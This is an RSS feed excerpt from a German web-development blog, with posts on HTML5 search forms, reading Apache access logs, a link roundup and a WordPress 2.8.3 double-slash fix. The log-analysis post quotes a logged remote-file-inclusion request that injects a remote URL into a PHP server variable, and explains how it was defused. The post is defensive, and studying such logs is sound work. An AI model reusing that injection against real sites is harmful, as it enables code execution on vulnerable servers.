Das ist praktisch bei langen Worten oder solchen, die man leicht falsch schreibt. Noch praktischer wäre eine Methode, die Suchausdrücke ohne Treffer aus der Liste heraushalten könnte. Soweit ich weiß, gibt es die noch nicht. Korrigiert mich <em>bitte</em>!</p>
<p>Kurz darauf kommt noch eine kleine Kontrolle auf leere Einsendungen. Nicht jeder benutzt schließlich einen modernen Browser, der die neuen Attribute schon unterstützt.</p>
<h2>Links</h2>
<ul>
<li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#forms" hreflang="en">HTML5: Formulare</a></li>
<li>Anne van Kesteren: <a hreflang="en" lang="en" href="http://dev.opera.com/articles/view/improve-your-forms-using-html5/">Improve your forms using HTML5!</a></li>
<li>Dave Hyatt: <a hreflang="en" lang="en" href="http://weblogs.mozillazine.org/hyatt/archives/2004_07.html#005890">[Introducing] The Search Field</a> (in Webkit)</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/suchformular-in-html5/feed/</wfw:commentRss>
		<slash:comments>21</slash:comments>
		</item>
		<item>
		<title>Logfiles analysieren</title>
		<link>http://toscho.de/2010/logfiles-analysieren/</link>
		<comments>http://toscho.de/2010/logfiles-analysieren/#comments</comments>
		<pubDate>Tue, 05 Jan 2010 14:14:24 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Browser]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[htaccess]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1573</guid>
		<description><![CDATA[Wie man ein Apache-Logfile liest und interpretiert.]]></description>
			<content:encoded><![CDATA[<!--TOC-->
<p>Mindestens einmal pro Monat grabe ich mich durch die Logfiles jeder von mir betreuten Website. Ein Statistikprogramm wie <a href="http://toscho.de/2009/piwik-ueberblick-installation/">Piwik</a> sieht zwar deutlich hübscher aus; es erfaßt aber nur einen kleinen Teil der Zugriffe. Anfragen an Newsfeeds, Stylesheets, Bilder und Skripte entgehen ihm meistens.</p>
<h2>Grundlagen</h2>
<p>Ein gewöhnlicher Eintrag im Accesslog sieht (nach manuellem Umbruch) so aus:</p>
<pre class="notranslate">msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:10 +0100]
"<code class="string">GET /2009/ HTTP/1.1</code>"
200
4303
"-"
"msnbot/2.0b (+<a href="http://search.msn.com/msnbot.htm">http://search.msn.com/msnbot.htm</a>)"</pre>
<h3>Logformat</h3>
<p>Das entspricht dem <a href="http://httpd.apache.org/docs/trunk/mod/mod_log_config.html#logformat" hreflang="en">Logformat</a>:</p>
<pre class="notranslate">%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"</pre>
<p>… und kann übersetzt werden als</p>
<table>
<thead>
<tr>
<th scope="col">Kürzel</th>
<th scope="col">Beschreibung</th>
<th scope="col">aktueller Wert</th>
</tr>
</thead>
<tbody>
<tr>
<td>%h</td>
<td>Hostname</td>
<td>msnbot-65-55-106-204.search.msn.com</td>
</tr>
<tr>
<td>%l</td>
<td lang="en">Remote logname</td>
<td>(leer)</td>
</tr>
<tr>
<td>%u</td>
<td lang="en">Remote user</td>
<td>(leer)</td>
</tr>
<tr>
<td>%t</td>
<td>Zeitpunkt</td>
<td>01/Jan/2010:01:03:10 +0100</td>
</tr>
<tr>
<td>%r</td>
<td><i lang="en">Request</i> (erste Zeile)</td>
<td>GET /2009/ HTTP/1.1</td>
</tr>
<tr>
<td>%>s</td>
<td>Status (<em>nach</em> internem <i lang="en">Rewrite</i>)</td>
<td>200</td>
</tr>
<tr>
<td>%b</td>
<td>Übertragene <i lang="en">Bytes</i> (<em>ohne</em> <i lang="en">Response-Header</i>)</td>
<td>4303</td>
</tr>
<tr>
<td>%{Referer}i</td>
<td>Herkunft (URI)</td>
<td>(leer)</td>
</tr>
<tr>
<td>%{User-Agent}i</td>
<td>Software (Browser, Crawler)</td>
<td>msnbot/2.0b (+http://search.msn.com/msnbot.htm)</td>
</tr>
</tbody>
</table>
<h3>Hostname oder IP-Adresse</h3>
<p>Wenn der Server keinen Hostnamen findet oder anders konfiguriert worden ist, steht an erster Stelle die IP-Adresse. Ob man die nach deutschem Recht speichern darf, wird immer noch <a href="http://www.selbstaendig-im-netz.de/2009/12/22/suchmaschinen/die-ip-adresse-google-und-der-datenschutz/">heftig umstritten</a>.</p>
<h3>Remote logname</h3>
<p>Der <i lang="en">Remote logname</i> wird nur befüllt, wenn <a href="http://httpd.apache.org/docs/trunk/mod/mod_ident.html" hreflang="en">mod_ident</a> aktiviert wurde und <i lang="en">IdentityCheck</i> auf <i lang="en">On</i> steht.</p>
<h3>Remote user</h3>
<p>Der <i lang="en">Remote user</i> wird befüllt, wenn man sich per <a lang="en" href="http://toscho.de/2009/authentifizierung-php-utf-8/">Basic Authentication</a> angemeldet hat.</p>
<p>Die beiden letztgenannten Einträge müssen natürlich auch als »personenbezogene Daten« gelten. Eine (zumindest langfristige) Speicherung dürfte sehr heikel werden.</p>
<h3>Request</h3>
<p>Der <i lang="en">Request</i> wird endlich richtig interessant.</p>
<h4>Methode</h4>
<p>Vorne steht die Methode: GET, POST oder HEAD. Die <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html" hreflang="en">anderen Methoden</a> <a href="http://toscho.de/2009/blocken-mit-htaccess/">verbiete ich</a> normalerweise:</p>
<pre class="notranslate">&lt;<a href="http://httpd.apache.org/docs/2.3/mod/core.html#limitexcept">LimitExcept</a> HEAD GET POST&gt;
order deny,allow
deny from all
&lt;/LimitExcept&gt;</pre>
<h4>Adresse</h4>
<p>Dann folgt die angesprochene Adresse, hier <code>/2009/</code>. Darauf kommen wir gleich nochmal. </p>
<h4>Protokoll</h4>
<p>Und darauf wiederum folgt das Protokoll, hier <a href="http://www.w3.org/Protocols/rfc2616/rfc2616.html" hreflang="en">HTTP/1.1</a>. Das ist spannender, als es aussieht: In <a hreflang="en" href="http://www.w3.org/Protocols/rfc1945/rfc1945">HTTP/1.0</a> gibt es nämlich keine Vary-Header. Den brauche ich aber für alle Ressourcen, die ich per <a hreflang="en" href="http://www.gzip.org/">gzip</a> komprimiere, damit der Empfänger weiß, daß ich mindestens zwei Varianten vorhalte: die komprimierte und die unkomprimierte.<br />
<a href="http://github.com/toscho/PHP-HTTP-Tools/blob/master/class.HTTP_Response.php#L302">Ich sende</a> also bei HTTP/1.1 den Header:</p>
<pre class="notranslate">Vary: Accept-Encoding</pre>
<p>Sehen wir uns den Request an, der dem hier genannten fünf Sekunden später folgt:</p>
<pre class="notranslate">msnbot-65-55-106-204.search.msn.com
- -
[01/Jan/2010:01:03:15 +0100]
"<code class="string">GET /2009/ <strong>HTTP/1.0</strong></code>"
200
<strong>18124</strong>
"-"
"<code class="string">msnbot/2.0b (+http://search.msn.com/msnbot.htm)</code>"</pre>
<p>Der MSN-Bot holt sich auch die nicht komprimierte Variante. Warum? Weiß der Geier …<br />
Der Internet Explorer benutzt HTTP/1.0, wenn er hinter einem Proxyserver sitzt. Vielleicht will der MSN-Bot herausfinden, ob er die Seite auch dann noch als Suchergebnis präsentieren darf.</p>
<p>Der Yahoo-Bot kann übrigens <em>überhaupt kein</em> HTTP/1.1. Es ist ja auch erst vom Juni 1999.</p>
<h3>Statuscode</h3>
<p>Nach dem Request kommt der <a hreflang="en" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6.1.1">Statuscode</a>. Die wichtigsten:</p>
<table>
<thead>
<tr>
<th scope="col">Code</th>
<th scope="col">Bedeutung</th>
</tr>
</thead>
<tbody>
<tr>
<td>200</td>
<td>Ok. Inhalt gefunden und ausgeliefert. Der häufigste Eintrag.</td>
</tr>
<tr>
<td>301</td>
<td>Umleitung. Der Inhalt ist fortan unter einer neuen Adresse zu finden. Sehr wichtig, wenn man beispielsweise den Präfix <samp>www</samp> aus dem Domainnamen entfernt.</td>
</tr>
<tr>
<td>302</td>
<td>Noch eine Umleitung. Ob die neue Adresse Bestand hat, weiß der Server aber nicht, weil der Webmaster gepennt hat.</td>
</tr>
<tr>
<td>304</td>
<td>Nicht geändert. Wenn der User-Agent die Ressource schon im Cache liegen hat und nachfragt, ob er sie aktualisieren soll, sieht der Server nach und sendet 304, wenn alles noch stimmt. Dieser Statuscode sagt uns normalerweise, daß wir alles richtig gemacht haben. Wenn wir Ressourcen ohne Not mehrfach ausliefern, haben wir ein Cachingproblem.</td>
</tr>
<tr>
<td>307</td>
<td>Umleitung. <em>Ganz gewiß</em> nur temporär.</td>
</tr>
<tr>
<td>401</td>
<td>Anmeldung fehlgeschlagen. Beispielsweise beim Passwortschutz per .htaccess: Jemand gibt falsche oder gar keine Daten ein – und wird dann mit 401 versorgt. Damit er Bescheid weiß.</td>
</tr>
<tr>
<td>403</td>
<td>Verboten. Der normale Statuscode, den beispielsweise die Direktive <samp lang="en"><a href="http://toscho.de/2009/htaccess-angriffe-sehen-blockieren/">deny from</a></samp> erzeugt. Zu Deutsch: Geh weg, du darfst hier nicht hinein.</td>
</tr>
<tr>
<td>404</td>
<td>Nicht gefunden. Der häufigste Fehler. Um den müssen wir uns kümmern.</td>
</tr>
<tr>
<td>410</td>
<td>Weg. Die Adresse gab’s zwar mal, aber jetzt wurde sie ersatzlos gestrichen. Wenn wir doch einen Ersatz haben, dann ist 301 der passende Statuscode.</td>
</tr>
<tr>
<td>500</td>
<td>Interner Serverfehler. <strong>Drama!</strong> Kann durch eine falsche Konfiguration (.htaccess oder httpd.conf) zustandekommen aber auch durch fehlerhafte Skripte.</td>
</tr>
</tbody>
</table>
<h3>Größe</h3>
<p>Dem Statuscode folgt die <strong>Menge der übertragenen Bytes</strong> ohne Response-Header. Wie man an den beiden MSN-Beispielen sieht, besteht zwischen komprimierten und nicht komprimierten Ressourcen ein erheblicher Unterschied.<br />
Beim Statuscode <strong>304</strong> sollte die Menge 0 betragen, sonst hat etwas nicht geklappt.<br />
Und eine Ressource sollte möglichst immer dieselbe Menge ausliefern, wenn sie sich nicht geändert hat. Der WordPress-Feed erfüllt diese Bedingung leider nicht immer; das wollte ich schon längst mal untersuchen … </p>
<h3>Referer</h3>
<p>Der nächste Eintrag (beim MSN-Bot immer leer) ist der <strong lang="en">Referer</strong>. Eigentlich heißt das englische Wort ja <i lang="en">Referrer</i>, aber vor vielen Jahren hat sich mal jemand beim Schreiben der Spezifikation vertippt, und seitdem fehlt das eine »r«. Da sieht man wieder, warum Korrekturlesen so wichtig ist.</p>
<p><em>Normalerweise</em> steht im <i lang="en">Referer</i> die URI, von der aus auf die aktuelle Ressource zugegriffen wurde. Oft ist er aber auch leer, oder es steht Spam darin (sogenannter »<a href="http://notizen.joergkrusesweb.de/n-2004-10/referer-spam.html">Referer-Spam</a>«). Manchmal auch <strong>feindlicher Code</strong>. Deshalb sollte dieser Wert nie ungeprüft in Skripten verwendet werden, und für eine Linkliste ohne Vorkontrolle eignet er sich ebenfalls nicht.</p>
<p>Beim Statuscode <strong>404</strong> kann er uns zuweilen verraten, ob jemand einen kaputten Link gesetzt hat. Da ist der Wert tatsächlich hilfreich.</p>
<h3>User-Agent</h3>
<p>Hier gelten die gleichen Sicherheitsregeln wie beim Referer. Ich benutze das Feld vorrangig, um <a href="http://toscho.de/2009/blocken-mit-htaccess/">Störenfriede loszuwerden</a>. Generell ist es so glaubwürdig wie ein 3-Euro-Schein.</p>
<h2>Suchmuster</h2>
<p>Wonach suchen wir eigentlich? Nach allem, was ungewöhnlich oder ungewollt aussieht.</p>
<p>Ungewollt sind Fehler: Alle Anfragen, die mit einem 400er oder gar 500er Code beantwortet wurden, verdienen unsere erste Aufmerksamkeit.</p>
<h3>400er</h3>
<p>In einem Texteditor unserer Wahl suchen wir nach dem regulären Ausdruck <code>" 4\d\d </code> (ein Leerzeichen rechts). Damit finden wir alle 400er Statuscodes. </p>
<p>Die meisten angeforderten Adressen in dieser Zeile enthalten Parameter, über die jemand fremden Code einschleusen möchte:</p>
<pre class="notranslate">web.weborange.hu
- -
[01/Jan/2010:01:32:51 +0100]
"GET /2009/authentifizierung-php-utf-8/%252520%252520/<strong>?_SERVER%255bDOCUMENT_ROOT%255d=http:/example.com/member/one.txt%253f%253f%253f</strong> HTTP/1.1"
404
995
"-"
"Mozilla/5.0"</pre>
<p>Hier sieht man zweierlei: Der Angriff richtet sich gegen schlampig programmierte PHP-Skripte, und mein <a href="http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/">Doppelslashkiller</a> hat die einzuschleusende URL entschärft. Selbst wenn ich also ein unsicheres Skript vorhielte, brächte der Angriff nichts, weil <samp>http:/example.com</samp> keine URL ist, mit der PHP oder eine andere Sprache etwas anfangen kann.<br />
Ein paar Einträge über diesem steht der ursprüngliche Versuch mit den Doppelslashes und dem Statuscode 301. Den hat aber die .htaccess abgefangen und umgeleitet, ehe ihn auch nur ein Skript zu Gesicht bekommen konnte.</p>
<p>Ein weiterer Eintrag sieht so aus:</p>
<pre class="notranslate">static.<i>[anonymisiert]</i>.clients.your-server.de
- -
[01/Jan/2010:16:49:56 +0100]
"GET /p1563/ HTTP/1.1"
404
995
"-"
"Mozilla/5.0 (compatible; <strong>Rivva</strong>; http://rivva.de)"</pre>
<p>Ich hatte ein paar Minuten zuvor bei Twitter einen <em>ähnlichen</em> Link <a href="http://twitter.com/toscho/status/7271735673">gepostet</a>:</p>
<blockquote><p>Willkommen im alten Jahrzehnt: http://toscho.de/p1563 #gebloggt</p></blockquote>
<p>Ähnlich! Der Rivva-Bot hat einen Slash angebaut und dann die falsche Adresse aufgerufen. Spannend wird jetzt die weitere Suche nach dem Rivva-Bot im Logfile: Kommt er nochmal, um die korrekte Adresse zu holen? Nein, tut er nicht.</p>
<p>So etwas verrät mir kein Statistikprogramm. </p>
<p>Ich habe darauf doppelt reagiert: Ich habe Rivva per Twitter Bescheid gegeben – und zwar keine Antwort bekommen, aber der Tweet wurde immerhin »<a href="http://favstar.fm/users/toscho/status/7296260274">gefavt</a>«. Das ist vermutlich eine sehr subtile Methode, mir zu sagen: »Wir wissen jetzt davon und kümmern uns darum.«<br />
Außerdem habe ich in die .htaccess eine Weiterleitung für genau diese und ähnlich kaputte Anfragen eingebaut:</p>
<pre class="notranslate">RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} ^/\%3fp\=(\d+)$ [OR]
RewriteCond %{REQUEST_URI} ^/p\=?(\d+)/?$
RewriteRule ^.* http://toscho.de/?p=%1 [L,R=301]</pre>
<p>Und dann gibt es manchmal noch die 404er, die nicht wie Angriffe aussehen und unsere eigene Domain im Referer zeigen. Da haben wir vielleicht einen falschen Link gesetzt oder einen Fehler im Markup oder im Stylesheet. Logische Reaktion: Reparatur, Kontrolle, ein Schluck Kaffee.</p>
<h3>500er</h3>
<p>Regex: <code>" 5\d\d </code> (ein Leerzeichen rechts). </p>
<p>Wenn der Server aufgrund eines Fehlers in der .htaccess nicht mitspielt, sehen wir das sofort. Dazu reicht ein vergeblicher Aufruf der Website.</p>
<p>Anders sieht es mit <em>gelegentlichen</em> Ausfällen aus: Ein Skript mag unter ganz bestimmten Umständen PHP abstürzen lassen, oder der Server aus irgendeinem Grund manchmal überlastet sein. Wer sich einen Server mit anderen Websites teilt (<i lang="en">Shared Hosting</i>), kann davon auch betroffen werden, ohne die Ursache in die Hand zu bekommen.<br />
Hierfür müssen wir ein zweites Logfile ansehen: Das <a href="http://httpd.apache.org/docs/2.3/en/logs.html#errorlog">Errorlog</a>. Das ist so ähnlich aufgebaut wie das Accesslog, und darin steht, was genau passiert ist. Zumindest der Webhoster hat eins.</p>
<h3>Massenabfragen</h3>
<p>Manchmal sieht die einzelne Abfrage technisch ganz korrekt aus, aber der Blick aufs Ganze löst dann doch einen Würgereiz aus. So hatte ich unzählige Requests von einem <samp>Java/1.6.0_11</samp> (die letzten Zahlen variieren). Diese Crawler haben gerne <em>alle</em> Feeds für <em>alle</em> Artikel und Kategorien abgeholt – 20 Mal pro Stunde.<br />
Antwort:</p>
<pre class="notranslate">RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_URI} !/greedy\.html
RewriteCond %{HTTP_USER_AGENT} ^Java/1\.\d [NC]
RewriteRule ^ /greedy.html [L,R=301]</pre>
<p>Ebenfalls bedrückend aber derzeit nicht zu ändern: Kaum ein Crawler hält sich an die <a href="http://bueltge.de/syndication-frequenz-wordpress-optimieren/1054/">Vorgaben zur Aktualisierung des Newsfeeds</a>. Wer freilich zu gierig wird, wird <a href="http://toscho.de/2009/spinner-und-sauger/">hinweggebeten</a>. Man muß sich ja nicht alles gefallen lassen, und das Ziel sollte doch eine schnelle Website für richtige Besucher bleiben. Deshalb verteile ich meine begrenzten Ressourcen lieber effizient.</p>
<p>Einige Feed-Crawler verraten im User-Agent, wieviele Leute den Feed lesen: </p>
<pre class="notranslate">38.99.68.203
- -
[01/Jan/2010:19:45:18 +0100]
"GET /feed/ HTTP/1.1"
200
16543
"-"
"Mozilla/5.0 (compatible; FriendFeedBot/0.1; +Http://friendfeed.com/about/bot; <strong>16 subscribers</strong>; feed-id=3418198305143441017)"</pre>
<p>Das finde ich sehr freundlich. Logfiles können also auch Spaß machen.</p>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2010/logfiles-analysieren/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Designlinks 10</title>
		<link>http://toscho.de/2009/designlinks-10/</link>
		<comments>http://toscho.de/2009/designlinks-10/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 05:05:50 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Links]]></category>
		<category><![CDATA[Markup]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Typographie]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Kommentare]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SVG]]></category>
		<category><![CDATA[Tabelle]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[VML]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1555</guid>
		<description><![CDATA[Videos untertiteln, ein schräges Impressum, dumme Ratschläge zur Vermeidung von Kommentarspam, Schriftenglättung mit Javascript und Canvas erkennen, JAWS’ Tabellenheuristik und Bilder drehen mit SVG und VML.]]></description>
			<content:encoded><![CDATA[<ul>
<li><a lang="en" hreflang="en" href="http://www.iheni.com/make-video-accessible-localised-mobile-and-searchable-by-captioning/">Henny Swan: Make video accessible, localised, mobile and searchable by captioning</a>.
<p>Henny stellt mehrere Programme vor und gibt gute Hinweise. Auch die Kommentare sind einen Blick wert.</li>
<li><a href="http://seat-1.com/ERP/Impressum.html">seat-1 Software GmbH: Impressum</a>
<p>Bis zum Ende lesen!</li>
<li><a lang="en" hreflang="en" href="http://googlewebmastercentral.blogspot.com/2009/11/hard-facts-about-comment-spam.html">Adel Saoud and Paolo Petrolini (Google): Hard facts about comment spam</a>.
<p>Ich habe schon lange nicht mehr solchen Unsinn gelesen. Zur Vermeidung von Kommentarspam empfehlen die Autoren dies:</p>
<blockquote lang="en"><ul>
<li>Disallow anonymous posting.</li>
<li>Use CAPTCHAs and other methods to prevent automated comment spamming.</li>
<li>Turn on comment moderation.</li>
<li>Use the "nofollow" attribute for links in the comment field.</li>
<li>Disallow hyperlinks in comments.</li>
<li>Block comment pages using robots.txt or meta tags.</li>
</ul>
</blockquote>
<p>Aus meiner eigenen Erfahrung kann ich dazu dies beisteuern: </p>
<ul>
<li>Ich erlaube schon lange anonyme Kommentare, aber die Spammer füllen immer alle Felder aus. Wirkungslos.</li>
<li>Captchas stellen auch für richtige Besucher immer eine Hürde dar. Der Schaden wiegt den Nutzen nicht auf.</li>
<li>Kommentare moderiere ich im Nachhinein. Für den Schreiber ist es sehr frustrierend, etwas beizutragen und es dann nicht zu sehen. Wenn doch mal ein Spamkommentar durchrutscht, dann hat derjenige ein paar Stunden lang einen Backlink. Na und?</li>
<li>Nofollow interessiert keinen Spammer. Für eine weitere Diskussion verweise ich auf meinen <a href="http://toscho.de/2009/no-no-no-nofollow/">Nofollow-Artikel</a>.</li>
<li>Ein Linkverbot für Kommentare würde <del datetime="2009-12-08T04:25:03+00:00">dieses</del> <ins datetime="2009-12-08T04:25:03+00:00">jedes</ins> Blog sehr entwerten.</li>
<li>Selbst wenn man Kommentarseiten von den Artikeln separiert – was mich als Leser eher nervt – so habe ich doch noch keinen Spammer gesehen, der erst die robots.txt prüft.</li>
</ul>
<p>All diese Hinweise nützen nur einem: Google. Wer sie befolgt, hilft Google dabei, den Index sauber zu halten. Aber er beschädigt die Qualität der eigenen Website.<br />
Mein Rat an Google: Macht eure Arbeit selbst. Wir benutzen serverseitige Spamfilter.</li>
<li><a lang="en" hreflang="en" href="http://www.useragentman.com/blog/2009/11/29/how-to-detect-font-smoothing-using-javascript/">Zoltan Hawryluk: How to Detect Font-Smoothing Using JavaScript</a>.
<p>Clevere Lösung mit Canvas. Ob das aufs Tempo geht? Mal sehen.</li>
<li><a lang="en" hreflang="en" href="http://webaim.org/blog/jaws-ate-my-tables/">Jared Smith: JAWS ate my tables</a>.
<p>Ob eine Tabelle für Daten oder fürs Layout gedacht wurde, entscheidet JAWS nach dieser Regel: Wenn sie mindestens zwei Spalten und zwei Reihen hat und mindestens vier Zellen zwischen 200 und 16000 Pixel groß sind –  dann muß es eine Datentabelle sein, sonst nicht. Im Artikel illustrieren zwei Beispiele, warum das eine dämliche Heuristik ist.</li>
<li>
<p><a lang="ru" hreflang="ru" href="http://0range.ru/archives/20">Тагир Юсупов: Поворот изображении с помощью SVG и VML</a>.<br />
(<a title="Automatische Übersetzung ins Deutsche" href="http://translate.google.com/translate?hl=de&#038;sl=ru&#038;tl=de&#038;u=http%3A%2F%2F0range.ru%2Farchives%2F20">Tagir Yusupov: Bilder drehen mit SVG und VML</a>)</p>
<p>Eigentlich ganz einfach. Man muß nur drauf kommen. Via <a href="http://twitter.com/pawelf">Andreas Fritsch, @pawelf</a>.</li>
</ul>
]]></content:encoded>
			<wfw:commentRss>http://toscho.de/2009/designlinks-10/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>WordPress 2.8.3: Das Doppelslash-Problem</title>
		<link>http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/</link>
		<comments>http://toscho.de/2009/wordpress-2-8-3-das-doppelslash-problem/#comments</comments>
		<pubDate>Tue, 04 Aug 2009 00:13:43 +0000</pubDate>
		<dc:creator>Thomas Scholz</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[Suchmaschinen]]></category>
		<category><![CDATA[Webdesign]]></category>
		<category><![CDATA[WordPress]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[HTTP]]></category>
		<category><![CDATA[Plugin]]></category>

		<guid isPermaLink="false">http://toscho.de/?p=1412</guid>
		<description><![CDATA[Über die reparierte Sicherheitslücke in der neuen Version und das noch bestehende Problem doppelten Inhaltes. Mit Code und Plugin zum Download.]]></description>
			<content:encoded><![CDATA[<p>WordPress hat inzwischen eine Komplexität erreicht, die locker an die vieler Content-Management-Systeme heranreicht. Nur so konnten die komfortablen Schnittstellen für <a href="http://toscho.de/angebote/wordpress/plugins/">Plugins</a>, <a href="http://toscho.de/2009/wordpress-parallele-widgets/">Widgets</a> und <a href="http://toscho.de/angebote/wordpress/themes/">Themes</a> realisiert werden.</p>
<p>Der Preis besteht aus mehr Fehlern. Das ist unvermeidlich, und es erstaunt auch niemanden, der selbst schon einmal programmiert hat.</p>
<p><a href="http://wordpress.org/development/2009/08/wordpress-2-8-3-security-release/">WordPress 2.8.3</a> stopft eine Sicherheitslücke, die <a href="http://forum.wordpress-deutschland.org/allgemeines/56205-permalinks-veraenderbar-fuer-jeden-registrierten-user.html">seit Freitag</a> bekannt ist: Einfache registrierte Nutzer konnten durch leicht geänderte URLs administrative Rechte ausüben. </p>
<p>Ich hatte zwar schnell eine Fix parat, aber das Team von WordPress Deutschland (WPD) hat mich gebeten, ihn nicht zu publizieren, weil man daraus die Lücke ableiten konnte.<br />
Dieses Verfahren, Problem <em>und</em> Lösung geheimzuhalten, heißt <dfn lang="en">Security by Obscurity</dfn>. Ich mag es nicht.<br />
Aber bitte … ich kann mein Geltungsbedürfnis gut genug im Zaum halten, um hier nachzugeben.</p>
<p>Dennoch stört mich das Prozedere. Ein Cracker hätte sich die unzensierte Fassung des ersten Reporters leicht aus dem Google-Cache holen können. Und der Administrator eines WordPress-Blogs? Der mußte diesen praktisch <a href="http://blog.wordpress-deutschland.org/2009/08/01/kritische-sicherheitsluecke-in-wordpress-2-8-2.html">unzumutbaren Rat</a> schlucken: </p>
<blockquote><p>Bis es einen Bugfix für das Problem gibt, raten wir dringend die Benutzerregistrierung zu deaktivieren und ggf. alle (unbekannten) registrierten Benutzer zu löschen, sofern dies vertretbar ist.</p></blockquote>
<p>Ich habe bei Twitter <a href="https://twitter.com/toscho/status/3102253548">meinen Bugfix angeboten</a>, und darauf haben sich einige Leute gemeldet – mit Webseiten, deren ganze <em>Funktionsweise</em> vom Engagement registrierter Benutzer abhing. Da sie nicht wußten, wie schnell die nächste Version kommen würde, waren sie verständlicherweise wenig begeistert.</p>
<p>Ich habe mich damit nicht wohl gefühlt, weil ich indirekt auch ein Akteur dieser … Geheimniskrämerei geworden bin.</p>
<p>Wer ein WordPress-Blog verwaltet und nicht die Zeit hat, jeden Tag ins Forum oder ins Blog zu sehen – der hat doch sicher den Feed des <a href="http://blog.wordpress-deutschland.org/">WPD-Blogs</a> abonniert. <em>Darüber</em> hätte man leicht die Reparatur verbreiten können – oder <strong>sollen</strong>.</p>
<p>Ach ja, dieser Schnipsel kommt in die <code>functions.php</code> des Themes:</p>
<pre class="notranslate">new Single_Slash;

class Single_Slash
{
    function Single_Slash() <i>// PHP 4. Wer das noch erleidet...</i>
    {
        if ( !strstr(<var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>, '<code class="string">//</code>') )
        {
            return;
        }

        header('<code class="string">Location: </code>'
            . ( empty ( <var>$_SERVER['<code class="string">HTTPS</code>']</var> ) ? '<code class="string">http</code>' : '<code class="string">https</code>' )
            . '<code class="string">://</code>'. <var>$_SERVER['<code class="string">HTTP_HOST</code>']</var>
            . preg_replace('<code class="string">~/+~</code>', '<code class="string">/</code>', <var>$_SERVER['<code class="string">REQUEST_URI</code>']</var>), TRUE, 301);
        die();
    }
}</pre>
<p class="downloadlink"><a class='piwik_download' href="http://f.toscho.de/SingleSlash.zip">Download als WordPress-Plugin</a>.</p>
<p>Das ist alles. Wenn man einen Doppelslash eingibt, wird man auf eine URL umgeleitet, die eine Kette beliebig vieler Slashes durch genau einen ersetzt.</p>
<p>In WordPress 2.8.3 lenkt einen das <strong>Backend</strong> jetzt zum Login, wenn man so eine URL eingibt.</p>
<p>Im <strong>Frontend</strong> bleibt der Mehrfachslash stehen. Probiert es im eigenen Blog: Verdoppelt in einer URL einen Slash, und staunt über die neue URL dieser Seite. Dem Gebot <a href="http://schneegans.de/tips/kanonische-adressen/">kanonischer Adressen</a> entspricht das nicht gerade.</p>
<p>Wie relevant ist das? Ein <strong>Beispiel</strong>: Ihr habt ein Blog, das jemand gerne aus seiner guten Position bei Google verdrängen möchte. Er bastelt sich ein Netz kostenloser Weblogs und verfaßt Beiträge, die auf die »alternativen« Adressen der Seiten zeigen, die bei euch am höchsten bewertet werden. Dann wartet er, bis Google erst seine Beiträge indiziert und dann eure »neuen« Seiten. Plötzlich habt ihr eine <em>Menge</em> <a href="http://googlewebmastercentral.blogspot.com/2006/12/deftly-dealing-with-duplicate-content.html">doppelten Inhalt</a>. Lustig, oder?</p>
<p>Ein kleiner Test im <a href="http://blog.s9y.org/">Serendipity-Blog</a> zeigt übrigens, daß nicht nur WordPress daran krankt. ☻</p>
<p>Dem kann man zwar mit der <a href="http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html">Angabe der kanonischen URL im Markup</a> begegnen, aber das kommt eigentlich zu spät: Ein menschlicher Besucher erfährt davon nichts; er wird eventuell die falsche URL in seinen Lesezeichen verwenden, oder in Links zu eurer Seite. Adressierungsprobleme sollten nicht im Markup gelöst werden, sondern auf der Protokollebene, in HTTP also.</p>
<p>Deshalb bleibt dieser Schnipsel in meinem Theme.</p>
<p>Noch ein Bugfix hat es in dieses Release geschafft, über den sich bestimmt jeder freut: Die <a href="http://core.trac.wordpress.org/ticket/10466">URL eines Kommentators verschwindet</a> jetzt nicht mehr, wenn man dessen Text bearbeitet.</p>
<p>Dafür müssen <a href="http://core.trac.wordpress.org/milestone/2.8.3">noch 48 Bugs</a>, deren Reparatur für diese Version geplant war, auf die nächste warten. So sei es.</p>
<p>Zieht das Update. Es läuft problemlos (zumindest wenn man es per FTP durchführt) und ist auch schon <a href="http://blog.wordpress-deutschland.org/2009/08/03/wordpress-2-8-3-inkl-de-edition-und-upgradepaket-veroeffentlicht.html">auf Deutsch</a> zu haben.</p>
<p>Immerhin wurde das Loch gestopft, wenngleich der Bug noch zuckt.</p>
<h2>Update 04.08.09</h2>
<p>Markus Wulftange hat eine <a href="http://www.modrewrite.de/foren/fpost27681.html">Lösung gefunden</a>, die per <code>.htaccess</code> und <i lang="en">mod_rewrite</i> funktioniert:</p>
<pre class="notranslate">RewriteEngine On
RewriteBase /
RewriteCond %{THE_REQUEST} ^[A-Z]+\ /(([^/\ ]+/)*)/+([^\ ]*)
RewriteRule ^ /%1%3 [L,R=301]</pre>
